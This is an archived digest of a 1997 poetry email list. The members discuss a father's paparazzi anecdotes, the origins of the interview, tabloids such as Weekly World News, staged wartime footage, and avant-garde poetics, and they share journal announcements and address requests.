jump in a steeplechase. The Prince came up to my father & sd, "I dont think the British public wish to see their future king falling off a horse. Kindly remove the film from yr camera." (I was only a boy when first told this story & exclaimed "You didnt Dad did you?" "A Royal request is an order" my father told me.)

Thereafter, on several occasions when he had been assigned to film the Prince, my father was removed by security men & the driver of the G-B van had to shoot the footage instead. And once, in Paris, my father was arrested, plucked from his perch atop the G-B van, although never charged...but missed the parade in which the Prince was participating.

I realize this-all is rather abt the victimization of a photog by royalty than vice versa. But there were other anecdotes he told, a la the mirror-flashing, of jostling competition among the companies. The ropes holding a balloon in place, from which one outfit was filming sports, were cut through and the thing set adrift--dangerous business. His boss once kidnapped Chaplin as a publicity stunt. Chaplin went along with it, i guess. But events were staged--"nonevents" in Boorstein's phrase, although done to tell the truth of an actual event. Or sometimes the truth. During WW2, competition among the companies ceased, resources were pooled, and propaganda became the order of the day. Defeats were turned into hardwon victories.

But compared to "La Dolce Vita" et seq, pretty tame stuff. For a fictional antecedent, a memory occurs of "Citizen Kane," "found in love nest", was that the headline? Hoist by his own petard? Where is the line between muckraking & "Project Censored"? I mean where, legally, could one be drawn?

About a boycott of those checkout counter mags, I am always hoping to see consumers turning on the hand that feeds them. But please spare Weekly World News, which recently reported that the dying words of an alien spaceman before he crashed at Roswell were "My wife...my children...God forgive me for my sins."

But this, & other stuff I was abt to say, go 'way beyond an answer to the posted question, so I'll stop. David

↑ Index

21. David Bromige

which david has the message?

Tue 2 Sep 1997

David I, wd you mind being that, listwise? I am prepared to be David B.

Thanks for clearing up that Dean B matter, which my egotism did as much to muddy as anything else.

David B

↑ Index

22. **mark weiss**
Re: Interviews
Tue 2 Sep 1997

Habeas Corpus-the Crown vs. Anthony Ashley Cooper, Lord Shaftsbury, 1681. A real interesting story, but for another occasion. Shaftsbury was the leader of the not-so-loyal proto-Whig opposition to Charles I. He's the villain of Dryden's Absalom and Achitophel, and he was the head of the corporation that founded the colonys of North and South Carolina. Charleston, SC, lies between the Ashly and Cooper rivers, both named for him.

At 07:32 AM 9/2/97 -0400, you wrote:
>Hmm --Pierre Joris answers this electro-interview question thus:
>
>> Hmm, on the more frivolous side, Plato innerviewing Socrates, & on
>> the more serious side, Herodotus interviewing everyone to find out
>> what really happened. Pierre
>
>I wonder if the (or a) next step down the primrose path toward
>today's Charlie Rose & The Paris Review might be discerned (or
>discoverable) in the traditions (midaeval?) of courts of law,
>jurisprudence -- the interrogation, the interview of witnesses, and
>whatever may have antedated our contemporary formal traditions of
>direct & cross-examination, &c.
>
>Since the Writ of Habeas Corpus dates back to -- what? -- the 13th
>century or something, one wonders how far back one finds those
>(possibly related) formalities . . .
>
>(as is well known [sorta or not-quite relatedly], the Petrarchan
>sonnet is alleged to have origins in the formal jargon of law . . .)
>
>happy near-autumn,
>d.i.
>
>

↑ Index

23. Joseph S Zitt
Re: Interviews
Tue 2 Sep 1997

On Tue, 2 Sep 1997, mark weiss wrote:

> *Habeas Corpus-the Crown vs. Anthony Ashley Cooper, Lord Shaftsbury, 1681. A*

I read that at first as "Habeas Corpus the Clown", which would have been quite another story!

↑ Index

24. Don Cheney
Re: my father among the earlier paparazzi?
Tue 2 Sep 1997

David Bromige wrote:
>About a boycott of those checkout counter mags, I am always hoping to see
>consumers turning on the hand that feeds them. But please spare Weekly
>World News, which recently reported that the dying words of an alien
>spaceman before he crashed at Roswell were "My wife...my children...God
>forgive me for my sins."

David, yes, i agree, do not turn away the Weekly World News. the WWN is the Night Stand With Dick Dietrick of tabloids, a terrific parody of the genre. the stories that they make up are obviously fabricated and sometimes funny as hell (as David points out), though they do throw in actual (sensational) stories. i particularly like the right-wing columnist Ed Anger(!), who is always "pig-biting mad" or "madder than Teddy Kennedy at an AA meeting." Don

==========
Don Cheney San Diego, CA, USA
http://www.geocities.com/Paris/5791
[redacted]
==========

↑ Index

25. Tenney Nathanson
Re: BOO
Tue 2 Sep 1997

Dee--

ok found it, the folder w Mullen stuff that is. The interview is in BOO #7, July 1996. The essay, "Poetry and Identity," is in West Coast Line, it turns out, Number Nineteen (30/1) Spring 1996. (I dunno what the 30/1 means, or how it

could related to # 19, but that's what the mag says.) Correspondence address listed for West Coast Line is: 2027 East Academic Annex, Simon Fraser U, Burnaby, B.C., V5A 1S6 Canada. web address is http://www.sfu.ca/west-coast-line/WCL.html. Editor is Roy Miki. Locals Bowering and Quartermain are on board.

At 09:19 AM 8/28/97 -0500, you wrote:
>Thanks to Tenney, Herb, Red Slider, David Brominge, and Thomas Bell for the
>Mullen information. I've e-mailed Deanna Ferguson about the interview in
>BOO and will report back when I hear. Meanwhile, does anyone know the
>citation for the Poetic Briefs essay Tenney mentions?
>
>I like Thomas Bell's idea of seeing whether some of Mullen's harder-to-find
>pieces could be posted on the EPC hotlist. Is there anything a person
>could do to help make that happen?
>
>Dee
>
>
>
>There are two pieces, actually, both of which folks on this list
>>originally brought to my attention. One is the BOO interview; then there's,
>>I think, a short essay by her in POETIC BRIEFS.
>>
>>best
>>
>>Tenney
>>
>>At 08:45 PM 8/27/97 -0500, you wrote:
>>>Tenney--
>>>
>>>Can you give a fuller reference for Harryette Mullen's BOO? Also, does
>>>anyone know if Mullen published a lecture Aldon Nielsen refers to in
*Black
>>>Chant* called "Visionary Literacy: Art, Literature and Indigenous African
>>>Writing Systems," first given at Intersection for the Arts in SF May 24,
>>>1993? I'd like to find out more about the argument she makes there.
>>>
>>>Thanks very much--
>>>
>>> Dee Morris
>>>

>
>

---

tenney nathanson

[redacted]

http://www.u.arizona.edu/~nathanso/

↑ Index

26. George Bowering

Re: my father among the earlier paparazzi?

Tue 2 Sep 1997

Bromige, my idol, wrote:

> *About a boycott of those checkout counter mags, I am always hoping to see consumers turning on the hand that feeds them. But please spare Weekly World News, which recently reported that the dying words of an alien spaceman before he crashed at Roswell were "My wife...my children...God forgive me for my sins."*

I fully agree. I love the Weekly World News. You can tell that they are serious because they print in black and white. In the WWN it was revealed for the first time that there was a World War II bomber found on the moon; and later a number of WW2 fighters found on Mars! Later it was revealed that humans had not gone to the moon, that the landings were faked. Once they ran a story about giant fish in Chinese rivers that leaped up and swallowed unwary horses that walked too close to the edge of the water. I get all my knowledge of the world from that paper. Boycott ehe rest of them, though. I mean, I hardly ever know who those people are that are mocked on the front pages.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

↑ Index

27. George Bowering
Re: which david has the message?
Tue 2 Sep 1997

> *David I, wd you mind being that, listwise? I am prepared to be David B.*
>
> *David B*

Hey, hey. I myself would like to be David B.

David B.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

↑ Index

28. Juliana Spahr
ted joans address
Tue 2 Sep 1997

Anyone have a different address out there other than 513 Maynard Avenue, South no. 202 in Seattle for Ted Joans?

Thanks.

Juliana
[redacted]

↑ Index

29. Lawrence Upton.
David B
Tue 2 Sep 1997

I understand the aim behind your suggestion
but I really don't think it will help
people just won't know who it is at all

David B

↑ Index

30. mark weiss
my previous message
Tue 2 Sep 1997

Re: Shaftesbury--that's Charlie the 2, of course.

↑ Index

31. Red Slider
Re: my father among the earlier paparazzi?
Tue 2 Sep 1997

Notice to WWN-luvers: Wot, you think is okeedokee you go off-planet and litter our landscape with used flashbulbs, drive our credible models for imagination underground into lunar tunnels and 4th planet canals where you can chase meteroric celebrities into walls like used bolides? - you think moonbrains is something edible?

Be Warned:
our celebs now get special license to shoot back.

redplanet red.

Bromige, my idol, wrote:

> *About a boycott of those checkout counter mags, I am always hoping to see consumers turning on the hand that feeds them. But please spare Weekly World News, which recently reported that the dying words of an alien spaceman before he crashed at Roswell were "My wife...my children...God forgive me for my sins."*

I fully agree. I love the Weekly World News. You can tell that they are serious because they print in black and white. In the WWN it was revealed for the first time that there was a World War II bomber found on the moon; and later a number of WW2 fighters found on Mars! Later it was revealed that humans had not gone to the moon, that the landings were faked. Once they ran a story about giant fish in Chinese rivers that leaped up and swallowed unwary horses that walked too close to the edge of the water. I get all my knowledge of the world from that paper. Boycott ehe rest of them, though. I mean, I hardly ever know who those people are that are mocked on the front pages.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

↑ Index

32. Thomas Bell
Re: thot on theroux and avant-garde
Tue 2 Sep 1997

I can't tell if this is jaded dismisal or agreement. In any case the quote is Piombino's.
I neither defended the "avant-garde" or attacked Theroux. I intended to juxtapose the
quote and the recent threads to point out that this is, as it long has been, a "boundary
land" of conflict with shifting names and combatants. The problem for me is that there
is no adequate term for this conflict. I was seeking some clarification and ideas.
Perhaps in doing so I was not as clear as I should have been. As you say, "setting up
who's 'the enemy' is the oldest chessgame."
tom bell

At 08:03 AM 9/2/97 EDT, Henry Gould wrote:
>On Mon, 1 Sep 1997 23:17:22 -0500 Thomas Bell said:
>>
>>"Language today is the enemy of the State and historicity
>>because of its power to germinate systems antithetical to
>>custom, since custom is partly dependent on coded laws.
>>Historicism, while allying itself with writing, knowing its
>>enlarged scalar power as a reread document, distrusts its
>>projective character (translation: stability). Taking
>>language truly seriously as a partly known, partly
>>unknowable form of energy is instantly recognizable to
>>historicism as an antithetical challenge." _ Piombino,
>>"Writing and Experiencing"
>>
>
>Seems to me language-as-word is only one facet of a unitary/divided
>meta-language of the mind, which includes words, which includes "the
>State", etc. And setting up who's "the enemy" is the oldest chessgame
>in the world - nothing avant-garde about it. It's called "us vs. them"
>and it's about projecting psychological conflicts inherent in human nature.
>The idea that "writers" or "language artists" are avant-garde because
>they're breaking down stilted social codes ignores the fact that words

>and the book have been used as weapons of control, revenge, self-
>glorification, order, resentment, heirarchy, etc. etc. since the slaves
>of Assurbanipal or whoever started pressing wedges in the clay.
>Are these the historicists? They're the avant-garde in language tools.
>- Henry Gould
>
>

↑ Index

33. joel lewis
Devotion to the arts
Wed 3 Sep 1997

FROM: NEWS OF THE WIERD

* Brothers Geoffrey and Aaron Kuffner were arrested in New Orleans in June and charged with terrorism as the ones who had recently mailed or hand-delivered suspicious packages to local government and news media offices. The packages contained innocuous items (which nonetheless were frightening enough that two offices called for evacuations) and a four-page manifesto vowing that "Violent Acts of Consciousness Have Only Begun." According to police, the men's goal was to call attention to public ignorance of poetry and that among their demands was that all state inaugural speeches be written in iambic pentameter.

joel lewis

↑ Index

34. aerialedge
Re: Interviews
Wed 3 Sep 1997

Ron Silliman has some interesting comments on the form of the interview somewhere. Spent some time skipping about _The New Sentence_ and a few other essays unable to relocate-- citation anyone?

↑ Index

35. Hugh Steinberg
Re: Interviews
Wed 3 Sep 1997

Pierre writes:

>Hmm, on the more frivolous side, Plato innerviewing Socrates, & on the
>more serious side, Herodotus interviewing everyone to find out what
>really happened. Pierre
>
While Greek dialogues certainly qualify as antecedents to the form, they tend to read more as drama-less plays than what I would think of as an interview.

Which of course raises a question of form: what makes an interview different from a dialogue or a court hearing?

Like a dialogue, an interview purports to be the questions, answers and discussion recorded over a specific period of time between two or more parties. It is an exchange of information, but there seems to be an element of discovery, of uncertainty, which is missing from most dialogues I'm familiar with. Interviews are unpredictable: the person asking the questions does not know the answers, and hopefully the person providing the answers does not know the questions.

Of course there is a measure of artifice in the form, as anyone who's had to transcibe one quickly realizes.

Most of the Greek dialogues are pretty contrived. The speakers resemble, if they are not in fact, fictional characters who exist only to provide philosophical points. Dialogues "go" somewhere. They point to the essay as the fiction of characters are replaced with a singular authorial voice.

Court hearings and inquisitions take the dialogue into reality. There is no doubt that the person asking the questions and the person on the stand or rack are real. But court transcripts don't strike me as full-fledged interviews either. With the exception of public inquisitions/confessions, they seldom leave the courtroom. They are also beside the point: they are evidence which is used to render judgement. The judgements are what really matter in the court, they are what gets read and absorbed into the general body of law, not the interviews or other pieces of evidence.

So I think the interview must have started with journalism, and it is there the first true interview will be found.

Hugh Steinberg

PS: Paparzzi probably sprung up once cameras became light enough to take snapshots (turn of the century), newspapers could print photos cheaply (half-tone printing, 1881), and notions of mass celebrity became commonplace. Just post WWI is my guess, with Valentino as the first victim.

↑ Index

36. **henry g**
Re: thot on theroux and avant-garde
Wed 3 Sep 1997

On Tue, 2 Sep 1997 18:42:03 -0500 Thomas Bell said:
>I can't tell if this is jaded dismisal or agreement. In any case the quote
>is Piombino's.
>I neither defended the "avant-garde" or attacked Theroux. I intended to
>juxtapose the
>quote and the recent threads to point out that this is, as it long has been,
>a "boundary
>land" of conflict with shifting names and combatants. The problem for me is
>that there
>is no adequate term for this conflict. I was seeking some clarification and
>ideas.
>Perhaps in doing so I was not as clear as I should have been. As you say,
>"setting up
>who's 'the enemy' is the oldest chessgame."

Having missed the Theroux/Ashbery thread perhaps I only added confusion. I was responding directly to the paragraph from N. Piombino, not to its connection with previous discussion. My point was I disagreed with the idea that the nature of language in itself sets up a division between "the State" and the "historicists" who uphold it on the one hand and writers on the other. To me this simply romanticizes already-established ideas of who or what the avant-garde is (as I put it in a post a few weeks ago - cynically - the "avant-garde" is that portion of the writing world that already has a foothold in the "canon"). The problem for me with the established "experimental" poetry community is that it justifies itself in academic circles using definitions of "language" I don't accept. See, for example, Rosmarie Waldrop's talk in the Diacritics issue that Maria Damon mentioned. Waldrop pushes the notion that avant-garde postmodern writing in 20th century (Stein, Zukofsky, many others she quotes & alludes to) represents an historical shift in style & method from Romanticism, & bases this on a borrowing from formalist criticism - the Jakobson axes of metaphor and metonymy, or vertical identity and horizontal combination. The new style represents an openness to both language-as-origin and the material, social world by emphasizing COMBINATION over symbol and hierarchy. This shift in style may be inarguable, and may represent a real experimental-artistic alternative to mainstream individualist approaches to signature style. But the definition of poetic language underpinning it here is not one I can go along with.

- Henry Gould
>>>
>>>"Language today is the enemy of the State and historicity

>>>because of its power to germinate systems antithetical to
>>>custom, since custom is partly dependent on coded laws.
>>>Historicism, while allying itself with writing, knowing its
>>>enlarged scalar power as a reread document, distrusts its
>>>projective character (translation: stability). Taking
>>>language truly seriously as a partly known, partly
>>>unknowable form of energy is instantly recognizable to
>>>historicism as an antithetical challenge." _ Piombino,
>>>"Writing and Experiencing"
>>>
>>
>>Seems to me language-as-word is only one facet of a unitary/divided
>>meta-language of the mind, which includes words, which includes "the
>>State", etc. And setting up who's "the enemy" is the oldest chessgame
>>in the world - nothing avant-garde about it. It's called "us vs. them"
>>and it's about projecting psychological conflicts inherent in human nature.
>>The idea that "writers" or "language artists" are avant-garde because
>>they're breaking down stilted social codes ignores the fact that words
>>and the book have been used as weapons of control, revenge, self-
>>glorification, order, resentment, heirarchy, etc. etc. since the slaves
>>of Assurbanipal or whoever started pressing wedges in the clay.
>>Are these the historicists? They're the avant-garde in language tools.
>>- Henry Gould
>>
>>

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37. David R. Israel

Re: which david has the message?

Wed 3 Sep 1997

David B. --

> *David I, wd you mind being that, listwise? I am prepared to be David B.*
>
> *David B*
>
> *Hey, hey. I myself would like to be David B.*
>
> *David B.*

> *George Bowering.*

happily, if a bit belatedly, I cede (for what worth) all claims to "David B" to Mr. Bromige, and will willingly answer to the salutation "David I" -- though generally I've always been signing off as

d.i.

```
 .
 .....
 ............
 \\\\
```

that's not to say this pentametric sound
is tantamount to paramount abusrdness --
'ere auburn leaves of autumn grace the ground
I'm glad enough the sad enough have heard this

[etc.]

d.i.

↑ Index

39. Pritchett,Pat

Re: my father among the earlier paparazz

Wed 3 Sep 1997

Thanks, David, for that wonderful anecdote. You ask, quite properly, if somewhat rhetorically,"Where is the line between muckraking & "Project Censored"? I mean where, legally, could one be drawn?" I'm afraid the attempt to stop present abuses would only lead to further and more serious abuses, providing yet another cloak for those up to no-good to conceal their skulduggery even more effectively.

Interesting about the re-staging of events done by Gaumont. The earliest instance I know of this sort of thing dates from 1898, when the Vitagraph Picture Co. "re-enacted" the taking of San Juan Hill by TR. The idea was TR's and he got it from Buffalo Bill Cody's Wild West Show, which itself popularized re-enactments. The film fixed in the public's mind the notion that mounted soldiers could successfully charge uphill against machine gun emplacements, which of course did not happen.

So, the abuse has been around since the inception of the medium, rather in the same way that lying has been around since people mastered speech, and later, writing. One could make an argument that tabloids exist in relation to the mainstream press in the same way that organized crime acts as a mirror for bourgeois values. The former is merely the shadow cast by the latter. To demonize the former is to miss the point - which for me, anyway, is that all modes of data transmission are subject to corruption. The mainstream press is able to defend itself against charges of vulgarity, as if that were the most heinous crime it could commit, but when it comes to coddling corporate interest, censoring stories, or acting as apologists for official policies that are clearly causing real harm and grief to thousands of people, mum's the word.

Patrick Pritchett

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40. Judy Roitman
Re: my father among the earlier paparazz
Wed 3 Sep 1997

> *One could make an argument that tabloids exist in relation to the mainstream press in the same way that organized crime acts as a mirror for bourgeois values. The former is merely the shadow cast by the latter.*
>
> *Patrick Pritchett*

Are you sure it doesn't go the other way? This is not entirely facetious: consider that the early press resembled tabloids more than the NY Times, and that the founders of aristocracies often were those who could terrorize and control more effectively than others.

---------- Judy Roitman
| "Whoppers Whoppers Whoppers! Math, University of Kansas | memory fails Lawrence, KS 66045 | these are the days." [redacted]
| Larry Eigner, 1927-1996
---------- Note new area code
---
http://titania.math.ukans.edu/faculty/roitman/

↑ Index

41. Maria Damon
address query
Wed 3 Sep 1997

---

anyone got an address for robert zamsky? please backchannel asap. thanks

↑ Index

42. Pritchett,Pat
Re: my father among the earlier paparazz
Wed 3 Sep 1997

You raise a very good point Judy and it may well be that that was the case. The first newscasters were town criers, usually in the service of the local ruler. When the printing press was invented, the veil of darkness was not lifted with the kind of majestic sweep we typically imagine since the powers that be rushed to print their own versions of things so as to keep a firm grip on the reins, just as you say. So maybe a better analogy would be one that cast tabloids as atavistic versions of the modern press which still thrive because of people's hunger for _narrative_ in whatever form. ---------- From: Judy Roitman

To: POETICS Subject: Re: my father among the earlier paparazz Date: Wednesday, September 03, 1997 10:42AM

> *One could make an argument that tabloids exist in relation to the mainstream press in the same way that organized crime acts as a mirror for bourgeois values. The former is merely the shadow cast by the latter.*
>
> *Patrick Pritchett*

Are you sure it doesn't go the other way? This is not entirely facetious: consider that the early press resembled tabloids more than the NY Times, and that the founders of aristocracies often were those who could terrorize and control more effectively than others.

↑ Index

43. aldon l. nielsen
(no subject)
Wed 3 Sep 1997

To: [redacted]
Subject: new adress etc.

am now back with the list via the new email address shown here -- will not be able to read email from home for a few weeks yet -- apologies to any and all concerned --

Now, about that LA Times review of Ashbery -- not only did they spell Olson's name incorrectly (unless they meant Elder Olsen????), but there was a misquote of Kenner and much additional sloppiness -- You (the rhetorical "you" of course) might think that before accusing a poet of being a fraud you should at least check the spelling of the name --

↑ Index

44. Thomas Bell
Re: thot on theroux and avant-garde
Wed 3 Sep 1997

Henry G.
Thanks for the clarification. I'll leave it to Nick to respond about the quote if he chooses. My interest is in the area between "history" and "writing" as that's where the _action_ is.
tom bell

At 07:52 AM 9/3/97 EDT, henry g wrote:
>On Tue, 2 Sep 1997 18:42:03 -0500 Thomas Bell said:

>>I can't tell if this is jaded dismisal or agreement. In any case the quote
>>is Piombino's.
>>I neither defended the "avant-garde" or attacked Theroux. I intended to
>>juxtapose the
>
>Having missed the Theroux/Ashbery thread perhaps I only added confusion.
>I was responding directly to the paragraph from N. Piombino, not to its
>connection with previous discussion. My point was I disagreed with the
>idea that the nature of language in itself sets up a division between
>"the State" and the "historicists" who uphold it on the one hand and
>writers on the other. To me this simply romanticizes already-established
>ideas of who or what the avant-garde is (as I put it in a post a few
>weeks ago - cynically - the "avant-garde" is that portion of the writing
>world that already has a foothold in the "canon"). The problem for me
>with the established "experimental" poetry community is that it justifies
>itself in academic circles using definitions of "language" I don't accept.
>See, for example, Rosmarie Waldrop's talk in the Diacritics issue that
>Maria Damon mentioned. Waldrop pushes the notion that avant-garde
>postmodern writing in 20th century (Stein, Zukofsky, many others she
>quotes & alludes to) represents an historical shift in style & method
>from Romanticism, & bases this on a borrowing from formalist
>criticism - the Jakobson axes of metaphor and metonymy, or vertical
>identity and horizontal combination. The new style represents an openness
>to both language-as-origin and the material, social world by emphasizing
>COMBINATION over symbol and hierarchy. This shift in style may be
>inarguable, and may represent a real experimental-artistic alternative
>to mainstream individualist approaches to signature style. But the
>definition of poetic language underpinning it here is not one I can
>go along with.
>
>- Henry Gould
>>>>

↑ Index

45. Hugh Steinberg
Re: my father among the earlier paparazz
Wed 3 Sep 1997

Actually, it was not uncommon for Civil War photographers to rearrange the bodies of fallen soldiers into more "picturesque" poses.

Hugh Steinberg

Patrick writes:

> *Interesting about the re-staging of events done by Gaumont. The earliest instance I know of this sort of thing dates from 1898, when the Vitagraph Picture Co. "re-enacted" the taking of San Juan Hill by TR. The idea was TR's and he got it from Buffalo Bill Cody's Wild West Show, which itself popularized re-enactments. The film fixed in the public's mind the notion that mounted soldiers could successfully charge uphill against machine gun emplacements, which of course did not happen.*
>
> *So, the abuse has been around since the inception of the medium, rather in the same way that lying has been around since people mastered speech, and later, writing. One could make an argument that tabloids exist in relation to the mainstream press in the same way that organized crime acts as a mirror for bourgeois values. The former is merely the shadow cast by the latter. To demonize the former is to miss the point - which for me, anyway, is that all modes of data transmission are subject to corruption. The mainstream press is able to defend itself against charges of vulgarity, as if that were the most heinous crime it could commit, but when it comes to coddling corporate interest, censoring stories, or acting as apologists for official policies that are clearly causing real harm and grief to thousands of people, mum's the word.*
>
> *Patrick Pritchett*

↑ Index

46. Karen and Trevor
address search
Thu 4 Sep 1997

Can someone backchannel me with Jena Osman's address? Thanks in advance!

Karen McKevitt
[redacted]

↑ Index

47. George Bowering
Re: which david has the message?
Thu 4 Sep 1997

I dont care. Whenever I mention David B. here I will be referring to David Israel.

George Bowering.

,

2499 West 37th Ave.,

Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

↑ Index

48. Lawrence Upton.

(no subject)

Thu 4 Sep 1997

<<Actually, it was not uncommon for Civil War photographers to rearrange the
bodies of fallen soldiers into more "picturesque" poses.

Hugh Steinberg
>>

Pardon me if this has been sd, I am following this thread intermittently - it was V common for First WW footage, much of it now taken to be real, to be reenactments by actors often nowhere near the theatre of war... now there's a phrase

L

↑ Index

49. David R. Israel

shadows cast

Thu 4 Sep 1997

[was, Re: my father among the earlier paparazz]

this is note David Bromige (but thanks anyway GB) --

Judy Roitman quotes & comments:

> *One could make an argument that tabloids exist in relation to the mainstream press in the same way that organized crime acts as a mirror for bourgeois values. The former is merely the shadow cast by the latter.*
>
> *Patrick Pritchett*
>
> *Are you sure it doesn't go the other way? This is not entirely facetious: consider that the early press resembled tabloids more than the NY Times, and that the founders of aristocracies often were those who could terrorize and control more effectively than others.*

interesting. However, to trace the teleology (if that's the word) -- the process of origins over time -- is not the same as sketching the present relationship. That is, what was, in a prior era, central, can become, on a later stratum, peripheral,

once the centrality of origins has been displaced by more refined offspring (or spinoff).

To schematize:

The primordial proto-mafiosi
  is first supplanted by

The shining civilized aristocracy
  which is then shadowed by

The renascent mafia (mirroring
  the aristocrats & simultaneously
  carrying ancient memory of
  primordial originality intact)

Perhaps this 3-level pattern can be observed rather broadly, in a variety of applications.

d.i.

```
 .
 .....
 ............
 \\\\
```

>bodies of fallen soldiers into more "picturesque" poses.
>
>Hugh Steinberg
>>>
>
>Pardon me if this has been sd, I am following this thread intermittently -
>it was V common for First WW footage, much of it now taken to be real, to
>be reenactments by actors often nowhere near the theatre of war... now
>there's a phrase
>
>L
>
>

↑ Index

51. Juliana Spahr
Chain / 4 now available
Thu 4 Sep 1997

NOW AVAILABLE

C H A I N / 4 process and procedures

From “Editors’ Notes”:

This issue explores how things get made. It collects work that exposes the procedures, the processes, and the constraints that accompany creation. Procedural work is important because it requires a consciousness of language and form that resonates with the way we experience the world. It offers a necessary understanding of those experiences as it allows us to approach them from different angles and through new analogies. Please consider these examples invitations for writing as well as reading. Please make new pieces, new procedures, new experiences.

The issue includes Kui Dong’s and Denise Newman’s “Cess (after Turandot),” an opera; Dan Featherston’s “She Had Some Horseworms” and Cliff Fyman’s “My Job to Throw Out Dead Mouse,” ouilipian language replacements; Peter Gizzi’s “Ode: Salute to the New York School 1950-1970 (A Libretto)”; Robert Kelly’s “Path Moss,” a homophonic translation of Holderlin’s “Patmos”; Carl Lehmann-Haupt’s “The Poetry of Design/The Design of Poetry,” visual definitions of poetic terms; Clarinda Mac Low’s “Sabotage,” a transcript of a performance; Miranda Maher’s “Difficult Books,” manipulations of books; Margaret Morton’s “Pepe Otero: Architect of Shantytown,” photographs that document the building and destruction of a house over time; Catherine Schieve’s “Catahoula Benefete, Southwest Louisiana, November 1995,” a minute of film of a

dance; Saturo Takahashi's "Dumping Sight: Landscape/Landscope," photographs of a big device made of a record, record player, water, and glass that manipulates sight.

Full list of participants: Michael Basinski Guy R. Beining Dodie Bellamy Caroline Bergvall Jeremy Caplan Janet Cohen Cynthia Conrad Maria Damon Tina Darragh Jean Day Alan Devenish Kui Dong Dan Featherston Joel Felix Keith Frank William Fuller Cliff Fyman Peter Gizzi Dale Going Jessica Grim Lauren Gudath Jorge Guitart Dick Higgins John High Jennifer Hoff P. Inman Jon Ippolito David Kellogg Robert Kelly Kevin Killian Wendy Kramer Carl Lehmann-Haupt Tan Lin Lori Lubeski Brigid McLeer Clarinda Mac Low Jackson Mac Low Miranda Maher Lizbeth Marano William Marsh John Mason E.A. Miller Laura Moriarty Margaret Morton Harryette Mullen Laura Mullen Edward Mycue John Newman Sianne Ngai Denise Newman Patricia Pruitt Joan Retallack William van Roden Lisa Samuels Leslie Scalapino Catherine Schieve Ilana Simons Mary Margaret Sloan Satoru Takahashi Chris Tysh Chris Vitiello Keith Waldrop Rosmarie Waldrop Hannah Weiner Susan Wheeler Janet Zweig.

This is a plea.

We want to encourage you to subscribe to Chain.

Chain is broke. We have $.58 in our bank account right now.

Word is that one can not run a journal using subscribers as the primary source of funding. (I just had two people tell me that this week alone.)

But there doesn't seem to be any other way to do it. Grants are disappearing. We've unfortunately learned that we can not rely on bookstore sales in any way. With the exception of SPD, our distributors barely pay us what little they do owe us (they tend to be going out of business right now any way; the returns from large corporate bookstores are killing them as much as they are killing us).

Help us prove this word wrong by subscribing or making a donation.

We need around 350 subscribers per issue to stay solvent. While 350 subscribers doesn't seem impossible, getting people to subscribe has been difficult. We have less than 100 right now.

If for whatever reason you don't want to subscribe to Chain, then please subscribe to some other journal. Our situation is not unique right now. Basically the middle man heavy system of book distribution is no longer working. And in this anti-independent publication era we need grassroots organizing and cottage industries more than ever.

Subscription rates:

$20 for two issues
$12 for Chain / 5 on different languages (emphasis here will be on work in more than one language)
$10 for Chain / 4 on process and procedures

Free copy of the Lab Book upon request with a two issue subscription as long as supplies last.

(The Lab Book is edited by Jena Osman with work by Elizabeth Burns, Lew Daly, Jefferson Hansen, Peter Gizzi, Cynthia Kimball, Jena Osman, Juliana Spahr, Bill Tuttle, Mark Wallace, and Elizabeth Willis. The Lab Book is a collection of ten core poems written by ten different writers. Each core poem is followed by nine responses. It is an investigation of ideas of community and workshop.)

Email orders are accepted.

Chain
3029 Lowrey Avenue, no. A-1102
Honolulu, HI 96822

Please make checks payable to Chain.

↑ Index

52. Pritchett,Pat
Re: Free Cuisine
Thu 4 Sep 1997

To my knowledge, Elliza McGrand hasn't announced the publication of the latest Free Cuisine #17, a poetry webzine which she co-edits, but I don't think I'd be amiss in directing the List's attention to it.

You can find it at: www.on-net.net/~cca/wowzine/wowzine/html

Okay, so I'm in it. But so are listmembers Henry Gould, Matthias Regan, Rachel Levitsky, Joel Lewis, David Israel and David Bromige, who's written a marvelous story called "Irish." There is much besides to recommend this issue, including a poem by Scott Keeney entitled "Five Songs By Tristan Who?"

Check it out!

Patrick Pritchett

↑ Index

53. Don Cheney
Re: Free Cuisine
Thu 4 Sep 1997

patrick,

you've got a typo in your URL. it should be

http://www.on-net.net/~cca/wowzine/wowzine.html

don

> *To my knowledge, Elliza McGrand hasn't announced the publication of the latest Free Cuisine #17, a poetry webzine which she co-edits, but I don't think I'd be amiss in directing the List's attention to it.*
>
> *You can find it at: www.on-net.net/~cca/wowzine/wowzine/html*
>
> *Okay, so I'm in it. But so are listmembers Henry Gould, Matthias Regan, Rachel Levitsky, Joel Lewis, David Israel and David Bromige, who's written a marvelous story called "Irish." There is much besides to recommend this issue, including a poem by Scott Keeney entitled "Five Songs By Tristan Who?"*
>
> *Check it out!*
>
> *Patrick Pritchett*

↑ Index

54. Daniel Zimmerman
(no subject)
Thu 4 Sep 1997

mark weiss wrote:
>
> Likewise WWII--the raising of the flag at Iwo Jima, MacArthur's landing in
> the Phillipines. Also common to rewrite history thru the editing of
> otherwise honest film footage. Hitler didn't dance a jig for the camera
> when France surrendered.
>
> At 09:37 AM 9/4/97 +0100, you wrote:
> ><<Actually, it was not uncommon for Civil War photographers to rearrange
> >the
> >bodies of fallen soldiers into more "picturesque" poses.
> >
> >Hugh Steinberg

> >>>
> >
> >Pardon me if this has been sd, I am following this thread intermittently -
> >it was V common for First WW footage, much of it now taken to be real, to
> >be reenactments by actors often nowhere near the theatre of war... now
> >there's a phrase
> >
> >L
> >
> >
Mark,
Do you have a source for the Hilter jig bamboozle [& other such shenanigans]?

Dan Zimmerman

↑ Index

55. David Bromige
the signifier known as george bowering / which david has the message
Fri 5 Sep 1997

---

